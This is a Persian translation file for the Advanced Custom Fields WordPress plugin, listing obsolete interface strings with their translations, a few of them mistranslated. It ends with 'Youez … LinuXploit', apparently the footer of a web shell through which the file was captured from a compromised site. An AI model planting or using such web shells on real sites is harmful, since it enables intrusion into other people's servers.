#~ "تنظیمات جدید برای صفحه تنظیمات اجازه ساخت هر دو صفحه منوی والد و زیرمجموعه "
#~ "را می دهد"

#~ msgid "Customise the map height"
#~ msgstr "سفارشی کردن ارتفاع نقشه"

#~ msgid "checked"
#~ msgstr "انتخاب شده"

#~ msgid "Parent fields"
#~ msgstr "زمینه های مادر"

#~ msgid "Sibling fields"
#~ msgstr "زمینه های هدف"

#~ msgid "Locating"
#~ msgstr "مکان یابی"

#~ msgid "Error."
#~ msgstr "خطا."

#~ msgid "No embed found for the given URL."
#~ msgstr "امکان جاسازی برای آدرس وارد شده یافت نشد."

#~ msgid "Minimum values reached ( {min} values )"
#~ msgstr "مقار به حداقل رسیده است ( {max} )"

#~ msgid "None"
#~ msgstr "هیچ"

#~ msgid "Taxonomy Term"
#~ msgstr "آیتم طبقه بندی"

#~ msgid "remove {layout}?"
#~ msgstr "حذف {layout} ؟"

#~ msgid "This field requires at least {min} {identifier}"
#~ msgstr "این زمینه نیازدارد به {min} {identifier}"

#~ msgid "This field has a limit of {max} {identifier}"
#~ msgstr "این زمینه محدود است به {max} {identifier}"

#~ msgid "Maximum {label} limit reached ({max} {identifier})"
#~ msgstr "حداکثر {label} پرشده است ({max} {identifier})"

#~ msgid "Allow this accordion to open without closing others. "
#~ msgstr "اجاره به آکاردئون برای باز شدن بدون بستن دیگران"

#~ msgid ""
#~ "The tab field will display incorrectly when added to a Table style "
#~ "repeater field or flexible content field layout"
#~ msgstr ""
#~ "زمینه تب در زمانی که در آن زمینه تکرارشونده و یا زمینه محتوای انعطاف پذیر "
#~ "به کار ببرید درست نمایش داده نخواهد شد"

#~ msgid ""
#~ "Use \"Tab Fields\" to better organize your edit screen by grouping fields "
#~ "together."
#~ msgstr ""
#~ "از (زمینه تب) برای سازماندهی بهتر صفحه ویرایش با گروه بندی زمینه ها زیر تب "
#~ "ها استفاده کنید. "

#~ msgid ""
#~ "All fields following this \"tab field\" (or until another \"tab field\" is "
#~ "defined) will be grouped together using this field's label as the tab "
#~ "heading."
#~ msgstr ""
#~ "همه زمینه های زیر این \" زمینه تب \"  (یا تا زمینه تب بعدی) با هم گروه "
#~ "بندی می شوند و برچسب زمینه در تب به نمایش در خواهد آمد"

#~ msgid "End-point"
#~ msgstr "نقطه پایانی"

#~ msgid "Use this field as an end-point and start a new group of tabs"
#~ msgstr ""
#~ "استفاده از این زمینه به عنوان نقطه پایانی و شروع یک گروه جدید از تب ها"

#~ msgid "Disabled"
#~ msgstr "غیرفعال"

#~ msgid "Disabled <span class=\"count\">(%s)</span>"
#~ msgid_plural "Disabled <span class=\"count\">(%s)</span>"
#~ msgstr[0] "غیرفعال <span class=\"تعداد\">(%s)</span>"

#~ msgid "Getting Started"
#~ msgstr "راهنمای شروع"

#~ msgid "Field Types"
#~ msgstr "انواع زمینه"

#~ msgid "Functions"
#~ msgstr "توابع"

#~ msgid "Actions"
#~ msgstr "اکشن ها (مربوط به کدنویسی)"

#~ msgid "'How to' guides"
#~ msgstr "راهنماهای کوتاه"

#~ msgid "Tutorials"
#~ msgstr "آموزش ها"

#~ msgid "FAQ"
#~ msgstr "پرسش و پاسخ"

#~ msgid "Created by"
#~ msgstr "برنامه نویسی شده توسط"

#~ msgid "Error loading update"
#~ msgstr "خطا در به روز رسانی"

#~ msgid "Error"
#~ msgstr "خطا"

#~ msgid "Export Field Groups to PHP"
#~ msgstr "برون بری گروه های زمینه به PHP"

#~ msgid "Download export file"
#~ msgstr "دانلود فایل خروجی"

#~ msgid "Generate export code"
#~ msgstr "تولید کد خروجی"

#~ msgid "Import"
#~ msgstr "وارد کردن"

#~ msgid "See what's new"
#~ msgstr "ببینید چه چیزی جدید است"

#~ msgid "eg. Show extra content"
#~ msgstr "به عنوان مثال: نمایش محتوای اضافی"

#~ msgid "Customise WordPress with powerful, professional and intuitive fields"
#~ msgstr "شخصی سازی وردپرس با زمینه های قدرتمند، حرفه ای و دیداری"

#~ msgid "See what's new in"
#~ msgstr "ببینید چه چیزی جدید است"

#~ msgid "version"
#~ msgstr "نسخه"

#~ msgid "<b>Success</b>. Import tool added %s field groups: %s"
#~ msgstr "<b>انجام شد</b> ابزار وارد سازی %s زمینه را وارد کرد: %s"

#~ msgid ""
#~ "<b>Warning</b>. Import tool detected %s field groups already exist and "
#~ "have been ignored: %s"
#~ msgstr ""
#~ "<b>اخطار</b> ابزار وارد سازی تشخصی داد که گروه زمینه %s اکنون موجود می "
#~ "باشد و %s نادیده گرفته شد"

#~ msgid "Upgrade ACF"
#~ msgstr "بروزرسانی "

#~ msgid "Upgrade"
#~ msgstr "بروزرسانی"

#~ msgid "Drag and drop to reorder"
#~ msgstr "با گرفتن و کشیدن مرتب سازی کنید"

#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click “Upgrade Database”."
#~ msgstr ""
#~ "سایت‌های زیر نیاز به به‌روزرسانی دیتابیس دارند. آن‌هایی که تمایل دارید را "
#~ "انتخاب کنید و دکمه به روزرسانی را کلیک کنید."

#~ msgid "Upgrading data to"
#~ msgstr "به روزرسانی داده ها به"

#~ msgid "Done"
#~ msgstr "انجام شده"

#~ msgid "Today"
#~ msgstr "امروز"

#~ msgid "Show a different month"
#~ msgstr "نمایش یک ماه دیگر"

#~ msgid "Return format"
#~ msgstr "فرمت بازگشت"

#~ msgid "uploaded to this post"
#~ msgstr "بارگذاری شده در این نوشته"

#~ msgid "File Name"
#~ msgstr "نام پرونده"

#~ msgid "File Size"
#~ msgstr "اندازه پرونده"

#~ msgid "No File selected"
#~ msgstr "هیچ پرونده ای انتخاب نشده"

#~ msgid "Select"
#~ msgstr "انتخاب(دراپ باکس)"

#~ msgid "Add new %s "
#~ msgstr "افزودن %s "

#~ msgid "<b>Connection Error</b>. Sorry, please try again"
#~ msgstr "خطا در اتصال. متاسفیم. لطفا مجددا بررسی کنید"

#~ msgid "Save Options"
#~ msgstr "ذخیره تنظیمات"

#~ msgid "License"
#~ msgstr "لایسنس"

#~ msgid ""
#~ "To unlock updates, please enter your license key below. If you don't have "
#~ "a licence key, please see"
#~ msgstr ""
#~ "برای به روزرسانی لطفا لایسنس خود را وارد کنید. اگر لایسنس ندارید اینجا را "
#~ "ببنید:"

#~ msgid "details & pricing"
#~ msgstr "جزئیات و قیمت"

#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>"
#~ msgstr ""
#~ "برای به روز رسانی لایسنس خود را در قسمت  <a href=\"%s\">به روزرسانی ها</a> "
#~ "وارد کنید. اگر لایسنس ندارید اینجا را ببینید: <a href=\"%s\">جزئیات ئ "
#~ "قیمت</a>"

#~ msgid ""
#~ "Please note that all text will first be passed through the wp function "
#~ msgstr "دقت کنید که نکاک متن ها اول از تابع وردپرس عبور خواهند کرد"

#~ msgid "Warning"
#~ msgstr "اخطار"

#~ msgid "Hide / Show All"
#~ msgstr "مخفی کردن / نمایش همه"

#~ msgid "Show Field Keys"
#~ msgstr "نمایش کلید های زمینه"

#~ msgid "Import / Export"
#~ msgstr "درون ریزی/برون بری"

#~ msgid "Field groups are created in order from lowest to highest"
#~ msgstr ""
#~ "گروه های زمینه به ترتیب از کوچکترین شماره تا بزرگترین شماره نمایش داده می "
#~ "شوند"

#~ msgid "Upgrading data to "
#~ msgstr "به روز رسانی داده ها به %s"

#~ msgid "Sync Terms"
#~ msgstr "همگام سازی آیتم‌ها(ترم‌ها)"

#~ msgid "Pending Review"
#~ msgstr "در انتظار بررسی"

#~ msgid "Draft"
#~ msgstr "پیش نویس"

#~ msgid "Future"
#~ msgstr "شاخص"

#~ msgid "Private"
#~ msgstr "خصوصی"

#~ msgid "Revision"
#~ msgstr "بازنگری"

#~ msgid "Trash"
#~ msgstr "زباله دان"

#~ msgid "ACF PRO Required"
#~ msgstr "نسخه حرفه ای لازم است"

#~ msgid ""
#~ "We have detected an issue which requires your attention: This website "
#~ "makes use of premium add-ons (%s) which are no longer compatible with ACF."
#~ msgstr ""
#~ "مشکلی مشاهده شده است که نیاز به توجه شما دارد. این وب سایت مجاز به استفاده "
#~ "از افزودنی های پولی (%s) می باشد که دیگر سازگار نیستند"

#~ msgid ""
#~ "Don't panic, you can simply roll back the plugin and continue using ACF as "
#~ "you know it!"
#~ msgstr "مشکلی نیست. شما می توانید به نسخه ای که به آن عادت دارید برگردید!"

#~ msgid "Roll back to ACF v%s"
#~ msgstr "بازگشت به v%s"

#~ msgid "Learn why ACF PRO is required for my site"
#~ msgstr "یاد بگیرید که چرا نسخه حرفه ای بای سایت شما لازم است"

#~ msgid "Data Upgrade"
#~ msgstr "به روزرسانی داده ها"

#~ msgid "Data upgraded successfully."
#~ msgstr "داده ها با موفقیت به روز رسانی شدند"

#~ msgid "Data is at the latest version."
#~ msgstr "داده ها آخرین نسخه می باشند"

#~ msgid "1 required field below is empty"
#~ msgid_plural "%s required fields below are empty"
#~ msgstr[0] "زمینه زیر خالی است"
#~ msgstr[1] "%s زمینه در زیر خالی است"

#~ msgid "Load & Save Terms to Post"
#~ msgstr "خواندن و ذخیره دسته(ترم)ها برای نوشته"

#~ msgid ""
#~ "Load value based on the post's terms and update the post's terms on save"
#~ msgstr ""
#~ "مقدار بر اساس دسته(ترم) نوشته خوانده شود و دسته های نوشته را در هنگام "
#~ "ذخیره به روز رسانی کند"

#~ msgid "Controls how HTML tags are rendered"
#~ msgstr "کنترل چگونگی نمایش تگ های HTML"

#, fuzzy
#~ msgid "image"
#~ msgstr "تصویر"

#, fuzzy
#~ msgid "expand_details"
#~ msgstr "نمایش جزئیات"

#, fuzzy
#~ msgid "collapse_details"
#~ msgstr "عدم نمایش جزئیات"

#, fuzzy
#~ msgid "relationship"
#~ msgstr "ارتباط"

#, fuzzy
#~ msgid "unload"
#~ msgstr "دانلود"

#, fuzzy
#~ msgid "title_is_required"
#~ msgstr "عنوان گروه زمینه ضروری است"

#, fuzzy
#~ msgid "move_field"
#~ msgstr "جابجایی زمینه"

#, fuzzy
#~ msgid "flexible_content"
#~ msgstr "محتوای انعطاف پذیر"

#, fuzzy
#~ msgid "gallery"
#~ msgstr "گالری"

#, fuzzy
#~ msgid "repeater"
#~ msgstr "زمینه تکرار کننده"

#~ msgid "Attachment Details"
#~ msgstr "جزئیات پیوست"

#~ msgid "Custom field updated."
#~ msgstr "زمینه دلخواه بروز شد"

#~ msgid "Custom field deleted."
#~ msgstr "زمینه دلخواه حذف شد"

#~ msgid "Field group duplicated! Edit the new \"%s\" field group."
#~ msgstr "گروه زمینه تکراری است! گروه زمینه جدید \"%s\" را ویرایش کنید"

#~ msgid "Import/Export"
#~ msgstr "درون ریزی/برون بری"

#~ msgid "Column Width"
#~ msgstr "عرض ستون"

#~ msgid "Field group restored to revision from %s"
#~ msgstr "گروه زمینه از %s برای تجدید نظر بازگردانده شد."

#~ msgid "No ACF groups selected"
#~ msgstr "هیچ گروه زمینه دلخواه پیشرفته ای انتخاب نشده است."

#~ msgid ""
#~ "Create infinite rows of repeatable data with this versatile interface!"
#~ msgstr ""
#~ "ایجاد بی نهایت سطر از داده های تکرار شونده به وسیله این زمینه چند منظوره!"

#~ msgid "Create image galleries in a simple and intuitive interface!"
#~ msgstr "ایجاد گالری های تصاویر در یک رابط کاربری ساده و دیداری!"

#~ msgid "Create global data to use throughout your website!"
#~ msgstr "ایجاد داده فراگیر برای استفاده در همه جای سایت شما!"

#~ msgid "Create unique designs with a flexible content layout manager!"
#~ msgstr "ایجاد طرح های منحصر به فرد با زمینه محتوای انعطاف پذیر!"

#~ msgid "Gravity Forms Field"
#~ msgstr "زمینه افزونه GravityForms"

#~ msgid "Creates a select field populated with Gravity Forms!"
#~ msgstr ""
#~ "زمینه جدید از نوع انتخاب می سازد که می توانید یکی از فرم های GravityForms "
#~ "که ساخته اید را از آن انتخاب کنید"

#~ msgid "Date & Time Picker"
#~ msgstr "تاریخ و زمان"

#~ msgid "jQuery date & time picker"
#~ msgstr "تاریخ و زمان جی کوئری"

#~ msgid "Find addresses and coordinates of a desired location"
#~ msgstr "یافتن آدرس و مختصات مکان مورد نظر"

#~ msgid "Contact Form 7 Field"
#~ msgstr "زمینه فرم تماس (Contact Form 7)"

#~ msgid "Assign one or more contact form 7 forms to a post"
#~ msgstr "اختصاص یک یا چند فرم تماس (Contact Form 7) به یک نوشته"

#~ msgid "Advanced Custom Fields Add-Ons"
#~ msgstr "افزودنی های افزونه زمینه های دلخواه پیشرفته"

#~ msgid ""
#~ "The following Add-ons are available to increase the functionality of the "
#~ "Advanced Custom Fields plugin."
#~ msgstr ""
#~ "افزودنی های زیر برای افزایش قابلیت های افزونه زمینه های دلخواه پیشرفته "
#~ "قابل استفاده هستند."

#~ msgid ""
#~ "Each Add-on can be installed as a separate plugin (receives updates) or "
#~ "included in your theme (does not receive updates)."
#~ msgstr ""
#~ "هر افزودنی می تواند به عنوان یک افزونه جدا ( قابل بروزرسانی) نصب شود و یا "
#~ "در پوسته شما (غیرقابل بروزرسانی) قرار گیرد."

#~ msgid "Purchase & Install"
#~ msgstr "خرید و نصب"

#~ msgid "Export"
#~ msgstr "برون بری"

#~ msgid "Export to XML"
#~ msgstr "برون بری به فرمت XML"

#~ msgid "Export to PHP"
#~ msgstr "برون بری به فرمت PHP"

#~ msgid ""
#~ "ACF will create a .xml export file which is compatible with the native WP "
#~ "import plugin."
#~ msgstr ""
#~ "افزونه زمینه های دلخواه پیشرفته یک پرونده خروجی (.xml) را ایجاد خواهد کرد "
#~ "که با افزونه Wordpress Importer سازگار است."

#~ msgid ""
#~ "Imported field groups <b>will</b> appear in the list of editable field "
#~ "groups. This is useful for migrating fields groups between Wp websites."
#~ msgstr ""
#~ "گروه های زمینه درون ریزی شده در لیست گروه های زمینه قابل ویرایش نمایش داده "
#~ "<b>خواهند شد</b>. این روش برای انتقال گروه های زمینه در بین سایت های "
#~ "وردپرسی مفید است."

#~ msgid "Select field group(s) from the list and click \"Export XML\""
#~ msgstr ""
#~ "گروه زمینه را از لیست انتخاب کنید و سپس روی دکمه ((برون بری به فرمت XML)) "
#~ "کلیک کنید"

#~ msgid "Save the .xml file when prompted"
#~ msgstr "فایل .xml را وقتی آماده شد، ذخیره کنید"

#~ msgid "Navigate to Tools &raquo; Import and select WordPress"
#~ msgstr "به ((ابزارها > درون ریزی)) بروید و وردپرس را انتخاب کنید."

#~ msgid "Install WP import plugin if prompted"
#~ msgstr "افزونه درون ریزی وردپرس را در صورت درخواست نصب نمایید"

#~ msgid "Upload and import your exported .xml file"
#~ msgstr "فایل .xml خود را آپلود و درون ریزی کنید"

#~ msgid "Select your user and ignore Import Attachments"
#~ msgstr "کاربر خود را انتخاب کنید و درون ریزی پیوست ها را نا دیده بگیرید"

#~ msgid "That's it! Happy WordPressing"
#~ msgstr "همین ! از وردپرس لذت ببرید"

#~ msgid "ACF will create the PHP code to include in your theme."
#~ msgstr ""
#~ "افزونه زمینه های دلخواه پیشرفته کد های PHP برای اضافه کردن در پوسته در "
#~ "اختیاران قرار می دهد"

#~ msgid ""
#~ "Registered field groups <b>will not</b> appear in the list of editable "
#~ "field groups. This is useful for including fields in themes."
#~ msgstr ""
#~ "گروه های زمینه ساخته خواهند شد ولی قابل ویرایش <b>نخواهند بود</b>.یعنی در "
#~ "لیست افزونه برای ویرایش دیده نمی شوند. این روش برای قرار دادن زمینه ها در "
#~ "پوسته ها (برای مشتری) مفید است."

#~ msgid ""
#~ "Please note that if you export and register field groups within the same "
#~ "WP, you will see duplicate fields on your edit screens. To fix this, "
#~ "please move the original field group to the trash or remove the code from "
#~ "your functions.php file."
#~ msgstr ""
#~ "لطفا توجه کنید که اگر از هر دو روش ذکر شما در یک وردپرس به صورت هم زمان "
#~ "استفاده کنید، در صفحه ویرایش مطالب، دو بار زمینه ها را خواهید دید. واضح "
#~ "است که برای حل این مشکل یا باید زمینه ها را از افزونه حذف کنید یا کدهای "
#~ "php را از پوسته و احتمالا functions.php حذف کنید."

#~ msgid "Select field group(s) from the list and click \"Create PHP\""
#~ msgstr ""
#~ "گروه های زمینه را از لیست انتخاب کنید و سپس روی دکمه ((برون بری به فرمت "
#~ "PHP)) کلیک کنید"

#~ msgid "Copy the PHP code generated"
#~ msgstr "کدهای PHP تولید شده را کپی کنید"

#~ msgid "Paste into your functions.php file"
#~ msgstr "در فایل functions.php پوسته خود قرار دهید"

#~ msgid ""
#~ "To activate any Add-ons, edit and use the code in the first few lines."
#~ msgstr "برای فعالسازی افزودنی ها،چند سطر اول کدها را ویرایش و استفاده کنید"

#~ msgid "Notes"
#~ msgstr "نکته ها"

#~ msgid "Include in theme"
#~ msgstr "قرار دادن در پوسته"

#~ msgid ""
#~ "The Advanced Custom Fields plugin can be included within a theme. To do "
#~ "so, move the ACF plugin inside your theme and add the following code to "
#~ "your functions.php file:"
#~ msgstr ""
#~ "افزونه زمینه های دلخواه پیشرفته وردپرس می تواند در داخل یک پوسته قرار "
#~ "بگیرد. برای انجام این کار، افزونه را به کنار پوسته تان انتقال دهید و کدهای "
#~ "زیر را به پرونده functions.php اضافه کنید:"

#~ msgid ""
#~ "To remove all visual interfaces from the ACF plugin, you can use a "
#~ "constant to enable lite mode. Add the following code to your functions.php "
#~ "file <b>before</b> the include_once code:"
#~ msgstr ""
#~ "برای حذف همه رابط های بصری از افزونه زمینه های دلخواه پیشرفته (دیده نشدن "
#~ "افزونه)، می توانید از یک ثابت (کانستنت) برای فعال سازی حالت سبک (lite) "
#~ "استفاده کنید. کد زیر را به پرونده functions.php خود <b>قبل از</b> تابع "
#~ "include_once اضافه کنید:"

#~ msgid "Back to export"
#~ msgstr "بازگشت به برون بری"

#~ msgid "What’s New"
#~ msgstr "چه چیزی جدید است؟"

#~ msgid "Activation codes have grown into plugins!"
#~ msgstr "کدهای فعالسازی در افزونه ها افزایش یافته اند!"

#~ msgid ""
#~ "Add-ons are now activated by downloading and installing individual "
#~ "plugins. Although these plugins will not be hosted on the wordpress.org "
#~ "repository, each Add-on will continue to receive updates in the usual way."
#~ msgstr ""
#~ "افزودنی ها الان با دریافت و نصب افزونه های جداگانه فعال می شوند. با اینکه "
#~ "این افزونه ها در مخزن وردپرس پشتیبانی نخواهند شد، هر افزودنی به صورت معمول "
#~ "به روز رسانی را دریافت خواهد کرد."

#~ msgid "All previous Add-ons have been successfully installed"
#~ msgstr "تمام افزونه های قبلی با موفقیت نصب شده اند"

#~ msgid "This website uses premium Add-ons which need to be downloaded"
#~ msgstr "این سایت از افزودنی های پولی استفاده می کند که لازم است دانلود شوند"

#~ msgid "Download your activated Add-ons"
#~ msgstr "افزودنی های فعال شده ی خود را دانلود کنید"

#~ msgid ""
#~ "This website does not use premium Add-ons and will not be affected by this "
#~ "change."
#~ msgstr ""
#~ "این سایت از افزودنی های ویژه استفاده نمی کند و تحت تأثیر این تغییر قرار "
#~ "نخواهد گرفت"

#~ msgid "Easier Development"
#~ msgstr "توسعه آسانتر"

#~ msgid "New Field Types"
#~ msgstr "انواع زمینه جدید"

#~ msgid "Taxonomy Field"
#~ msgstr "زمینه طبقه بندی"

#~ msgid "Email Field"
#~ msgstr "زمینه پست الکترونیکی"

#~ msgid "Password Field"
#~ msgstr "زمینه رمزعبور"

#~ msgid ""
#~ "Creating your own field type has never been easier! Unfortunately, version "
#~ "3 field types are not compatible with version 4."
#~ msgstr ""
#~ "ساخت نوع زمینه دلخواه برای خودتان هرگز به این آسانی نبوده! متأسفانه، انواع "
#~ "زمینه های نسخه 3 با نسخه 4 سازگار نیستند."

#~ msgid "Migrating your field types is easy, please"
#~ msgstr ""
#~ "انتقال انواع زمینه ها آسان است. پس لطفا افزونه خود را بروزرسانی کنید."

#~ msgid "follow this tutorial"
#~ msgstr "این آموزش را دنبال کنید"

#~ msgid "to learn more."
#~ msgstr "تا بیشتر بیاموزید"

#~ msgid "Actions &amp; Filters"
#~ msgstr "اکشن ها و فیلترها"

#~ msgid ""
#~ "All actions & filters have received a major facelift to make customizing "
#~ "ACF even easier! Please"
#~ msgstr ""
#~ "همه اکشن ها و فیلترها دارای تغییرات عمده ای شدند تا دلخواه سازی ACF از قبل "
#~ "آسانتر شود"

#~ msgid "read this guide"
#~ msgstr "لطفا راهنما را مطالعه فرمایید"

#~ msgid "to find the updated naming convention."
#~ msgstr "تا نامگذاری های جدید را متوجه شوید"

#~ msgid "Preview draft is now working!"
#~ msgstr "پیش نمایش پیش نویس اکنون کار می کند"

#~ msgid "This bug has been squashed along with many other little critters!"
#~ msgstr "این مشکل همراه با بسیاری از مشکلات دیگر برطرف شده اند!"

#~ msgid "See the full changelog"
#~ msgstr "مشاهده تغییرات کامل"

#~ msgid "Database Changes"
#~ msgstr "تغییرات پایگاه داده"

#~ msgid ""
#~ "Absolutely <strong>no</strong> changes have been made to the database "
#~ "between versions 3 and 4. This means you can roll back to version 3 "
#~ "without any issues."
#~ msgstr ""
#~ "<strong>هیچ تغییری</strong> در پایگاه داده بین نسخه 3 و 4 ایجاد نشده است. "
#~ "این بدین معنی است که شما می توانید بدون هیچ گونه مسئله ای به نسخه 3 "
#~ "برگردید."

#~ msgid "Potential Issues"
#~ msgstr "مسائل بالقوه"

#~ msgid ""
#~ "Do to the sizable changes surounding Add-ons, field types and action/"
#~ "filters, your website may not operate correctly. It is important that you "
#~ "read the full"
#~ msgstr ""
#~ "با توجه به تغییرات افزودنی ها، انواع زمینه ها و اکشن ها/فیلترها، ممکن است "
#~ "سایت شما به درستی عمل نکند. پس لازم است راهنمای کامل "

#~ msgid "Migrating from v3 to v4"
#~ msgstr "مهاجرت از نسخه 3 به نسخه 4 را مطالعه کنید"

#~ msgid "guide to view the full list of changes."
#~ msgstr "راهنمایی برای مشاهده لیست کاملی از تغییرات"

#~ msgid "Really Important!"
#~ msgstr "واقعا مهم!"

#~ msgid ""
#~ "If you updated the ACF plugin without prior knowledge of such changes, "
#~ "please roll back to the latest"
#~ msgstr ""
#~ "اگر شما افزونه زمینه های دلخواه پیشرفته وردپرس را بدون آگاهی از آخرین "
#~ "تغییرات بروزرسانی کردید، لطفا به نسخه قبل برگردید "

#~ msgid "version 3"
#~ msgstr "نسخه 3"

#~ msgid "of this plugin."
#~ msgstr "از این افزونه."

#~ msgid "Thank You"
#~ msgstr "از شما متشکرم"

#~ msgid ""
#~ "A <strong>BIG</strong> thank you to everyone who has helped test the "
#~ "version 4 beta and for all the support I have received."
#~ msgstr ""
#~ "یک <strong>تشکر بزرگ</strong> از شما و همه کسانی که در تست نسخه 4 بتا به "
#~ "من کمک کردند میکنم. برای تمام کمک ها و پشتیبانی هایی که دریافت کردم نیز از "
#~ "همه شما متشکرم."

#~ msgid "Without you all, this release would not have been possible!"
#~ msgstr "بدون همه شما انتشار این نسخه امکان پذیر نبود!"

#~ msgid "Changelog for"
#~ msgstr "تغییرات برای"

#~ msgid "Learn more"
#~ msgstr "اطلاعات بیشتر"

#~ msgid "Overview"
#~ msgstr "بازنگری"

#~ msgid ""
#~ "Previously, all Add-ons were unlocked via an activation code (purchased "
#~ "from the ACF Add-ons store). New to v4, all Add-ons act as separate "
#~ "plugins which need to be individually downloaded, installed and updated."
#~ msgstr ""
#~ "پیش از این، قفل همه افزودنی ها از طریق یک کد فعالسازی (خریداری شده از "
#~ "فروشگاه افزودنی ها) باز می شدند.اما در نسخه 4 همه آنها به صورت افزودنی های "
#~ "جداگانه هستند و باید به صورت جدا دریافت، نصب و بروزرسانی شوند."

#~ msgid ""
#~ "This page will assist you in downloading and installing each available Add-"
#~ "on."
#~ msgstr "این برگه به شما در دریافت و نصب هر افزودنی موجود کمک خواهد کرد."

#~ msgid "Available Add-ons"
#~ msgstr "افزودنی های موجود"

#~ msgid ""
#~ "The following Add-ons have been detected as activated on this website."
#~ msgstr "افزودنی های زیر به صورت فعال در این سایت شناسایی شده اند"

#~ msgid "Installation"
#~ msgstr "نصب"

#~ msgid "For each Add-on available, please perform the following:"
#~ msgstr "برای هر افزودنی موجود، لطفا کارهای زیر را انجام دهید:"

#~ msgid "Download the Add-on plugin (.zip file) to your desktop"
#~ msgstr "دانلود افزونه افزودنی (پرونده ZIP) در کامپیوتر خود"

#~ msgid "Navigate to"
#~ msgstr "رفتن به"

#~ msgid "Plugins > Add New > Upload"
#~ msgstr "افزونه ها > افزودن > بارگذاری"

#~ msgid ""
#~ "Use the uploader to browse, select and install your Add-on (.zip file)"
#~ msgstr ""
#~ "از بارگذار برای انتخاب فایل استفاده کنید. افزودنی خود را (پرونده ZIP) "
#~ "انتخاب و نصب نمایید"

#~ msgid ""
#~ "Once the plugin has been uploaded and installed, click the 'Activate "
#~ "Plugin' link"
#~ msgstr ""
#~ "هنگامی که یک افزونه دریافت و نصب شده است، روی لینک (( فعال کردن افزونه)) "
#~ "کلیک کنید"

#~ msgid "The Add-on is now installed and activated!"
#~ msgstr "افزودنی در حال حاضر نصب و فعال سازی شده است!"

#~ msgid "Awesome. Let's get to work"
#~ msgstr "شگفت انگیزه، نه؟ پس بیا شروع به کار کنیم."

#~ msgid "Validation Failed. One or more fields below are required."
#~ msgstr "یک یا چند مورد از گزینه های زیر را لازم است تکمیل نمایید"

#~ msgid "Modifying field group options 'show on page'"
#~ msgstr "اصلاح گزینه های 'نمایش در برگه' ی گروه زمینه"

#~ msgid "Modifying field option 'taxonomy'"
#~ msgstr "اصلاح گزینه 'صبقه بندی' زمینه"

#~ msgid "Moving user custom fields from wp_options to wp_usermeta'"
#~ msgstr "انتقال زمینه های دلخواه کاربر از wp_options به wp_usermeta"

#~ msgid "blue : Blue"
#~ msgstr "blue : آبی"

#~ msgid "Dummy"
#~ msgstr "ساختگی"

#~ msgid "Size"
#~ msgstr "اندازه"

#~ msgid "File Object"
#~ msgstr "آبجکت پرونده"

#~ msgid "Image Object"
#~ msgstr "آبجکت تصویر"

#~ msgid "Text &amp; HTML entered here will appear inline with the fields"
#~ msgstr ""
#~ "متن و کد HTML وارد شده در اینجا در خط همراه با زمینه نمایش داده خواهد شد"

#~ msgid "Enter your choices one per line"
#~ msgstr "انتخاب ها را در هر خط وارد کنید"

#~ msgid "Red"
#~ msgstr "قرمز"

#~ msgid "Blue"
#~ msgstr "آبی"

#~ msgid "Post Objects"
#~ msgstr "آبجکت های نوشته ها"

#~ msgid "Post Type Select"
#~ msgstr "انتخاب نوع نوشته"

#~ msgid "Use multiple tabs to divide your fields into sections."
#~ msgstr "از چندین تب برای تقسیم زمینه های خود به بخش های مختلف استفاده کنید."

#~ msgid "Formatting"
#~ msgstr "قالب بندی"

#~ msgid "Effects value on front end"
#~ msgstr "موثر بر شیوه نمایش در سایت اصلی"

#~ msgid "Convert HTML into tags"
#~ msgstr "تبدیل HTML به تگ ها"

#~ msgid "Convert new lines into &lt;br /&gt; tags"
#~ msgstr "تبدیل خط های جدید به برچسب ها"

#~ msgid "Save format"
#~ msgstr "فرمت ذخیره"

#~ msgid ""
#~ "This format will determin the value saved to the database and returned via "
#~ "the API"
#~ msgstr ""
#~ "این فرمت مقدار ذخیره شده در پایگاه داده را مشخص خواهد کرد و از طریق API "
#~ "قابل خواندن است"

#~ msgid "\"yymmdd\" is the most versatile save format. Read more about"
#~ msgstr "\"yymmdd\" بهترین و پر استفاده ترین فرمت ذخیره است. اطلاعات بیشتر"

#~ msgid "jQuery date formats"
#~ msgstr "فرمت های تاریخ جی کوئری"

#~ msgid "This format will be seen by the user when entering a value"
#~ msgstr "این فرمت توسط کاربر در هنگام وارد کردن یک مقدار دیده خواهد شد"

#~ msgid ""
#~ "\"dd/mm/yy\" or \"mm/dd/yy\" are the most used Display Formats. Read more "
#~ "about"
#~ msgstr ""
#~ "\"dd/mm/yy\" یا \"mm/dd/yy\"  پر استفاده ترین قالب های نمایش تاریخ می "
#~ "باشند. اطلاعات بیشتر"

#~ msgid "Field Order"
#~ msgstr "ترتیب زمینه"

#~ msgid "Edit this Field"
#~ msgstr "ویرایش این زمینه"

#~ msgid "Docs"
#~ msgstr "توضیحات"

#~ msgid "Field Instructions"
#~ msgstr "دستورالعمل های زمینه"

#~ msgid "Show this field when"
#~ msgstr "نمایش این زمینه موقعی که"

#~ msgid "all"
#~ msgstr "همه"

#~ msgid "any"
#~ msgstr "هرکدام از"

#~ msgid "these rules are met"
#~ msgstr "این قوانین تلاقی کردند"

#~ msgid "Vote"
#~ msgstr "رأی دادن"

#~ msgid "Follow"
#~ msgstr "دنبال کردن"

#~ msgid "credits"
#~ msgstr "اعتبارات"

#~ msgid "Term"
#~ msgstr "دوره"

#~ msgid "No Metabox"
#~ msgstr "بدون متاباکس"

Youez - 2016 - github.com/yon3zu
LinuXploit